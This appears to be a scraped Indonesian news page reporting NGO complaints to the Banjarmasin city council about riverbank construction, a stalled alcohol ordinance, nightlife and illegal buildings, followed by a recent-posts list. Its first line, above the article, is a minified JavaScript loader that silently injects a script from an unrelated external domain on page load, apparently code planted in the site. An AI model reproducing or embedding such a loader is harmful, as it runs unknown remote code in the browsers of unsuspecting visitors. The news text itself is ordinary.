(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sambangi Dewan Banjarmasin, LSM Adukan Pembangunan Siring hingga Bangunan Ilegal


BANJARMASIN, Sejumlah LSM menyambangi DPRD Banjarmasin, Senin (16/9). Mereka menyampaikan sejumlah aspirasi yang saat ini masih belum ditundalanjuti pihak Pemko Banjarmasin. Mulai dari pembangunan siring yang melanggar perda sungai, perda miras, hiburan malam di Taman Kamboja, hingga bangunan ilegal di Sentra Antasari.

Puluhan massa yang mendatangi DPRD berasal dari Pemuda Islam Kalsel, Pembela Kesatuan Tanah Air (PEKAT), dan Forum Rakyat Peduli Bangsa dan Negera (FORPEBAN).

Ketua Forpeban, Din Jaya mengatakan, sebelumnya sempat bertandang ke kantor Walikota untuk menyampaikan ihwal pembangunan siring yang melanggar Perda Sungai. Ketika itu mereka mengaku diterima Wakil Walikota Banjarmasin, Hermansyah.

“Sudah beberapa tahun ada pelanggaran Perda Sungai, tidak direspon baik. Padahal sudah kewajiban Walikota. Kita prihatin sepertinya tidak respon dengan permasalahan tersebut,” beber Din Jaya.

Demikian jua terkait Perda Miras yang tertunda pembahasannya. Padahal pelaksanaan Perda Miras memakai uang rakyat, dan jika perda tersebut ditunda maka akan lebih banyak lagi uang rakyat yang terbuang. Pun soal hiburan malam dan bangunan di Sentar Antasari. Mereka berharap berbagai masalah ini bisa ditindaklanjuti anggota dewan.

Menanggapi hal tersebut, Wakil Ketua DPRD Sementara, Muhammad Yamin, mengaku kaget akan penundaan pengesahan perda miras. Hal ini ia sampikan kepada para LSM bahwa akan segera mempertanyakannya.

“Mereka juga tadi menyampaikan terkait masalah bangunan siring yang mana di pasar Antasari itu ada bangunan di Mitra Plaza. Padahal masyarakat juga sudah mau menyerahkan rumahnya untuk pemerintah dan dijadikan siring. Apakah ini melanggar perda atau tidak, kita akan koordinasi dan panggil dinas terkait,” beber M Yamin.

 Untuk masalah hiburan malam dan bangunan ilegal, saat ini anggota dewan masih belum bergerak karena belum memiliki unsur AKD. Sehingga ia tentu harus berkoordinasi dulu dengan ketua sementara, H Herry Wijaya terkait apakah harus dilakukan sidah atau tidak. “Kita berharap secepatnya,” ungkap pria dari Fraksi Gerindra itu.(mario)

Reporter : Mario
Editor : Chell


Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

3 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

17 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

18 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

19 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.